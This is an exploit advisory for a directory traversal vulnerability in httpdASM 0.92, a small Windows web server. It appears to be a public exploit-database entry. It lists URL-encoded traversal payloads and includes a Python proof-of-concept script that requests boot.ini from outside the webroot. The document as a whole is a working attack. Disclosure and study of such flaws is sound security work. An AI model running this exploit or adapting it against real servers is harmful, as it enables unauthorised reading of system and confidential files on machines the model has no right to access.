httpdasm 0.92 - Directory Traversal

# ------------------------------------------------------------------------ # Software................httpdASM 0.92 # Vulnerability...........Directory Traversal # Download................http://www.japheth.de/httpdASM.html # Release Date............12/27/2010 # Tested On...............Windows XP # ------------------------------------------------------------------------ # Author..................John Leitch # Site....................http://www.johnleitch.net/ # Email...................john.leitch5@gmail.com # ------------------------------------------------------------------------ # # --Description-- # # A directory traversal vulnerability in httpdASM 0.92 can be exploited # to read files outside of the webroot directory. # # # --Exploit-- # # %2E%2E%5C # %2E%2E%2F # # # --PoC-- import socket host = 'localhost' port = 80 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(8) s.connect((host, port)) s.send('GET /' + '%2E%2E%5C' * 8 + 'boot.ini HTTP/1.1\r\n' 'Host: ' + host + '\r\n\r\n'); print s.recv(8192);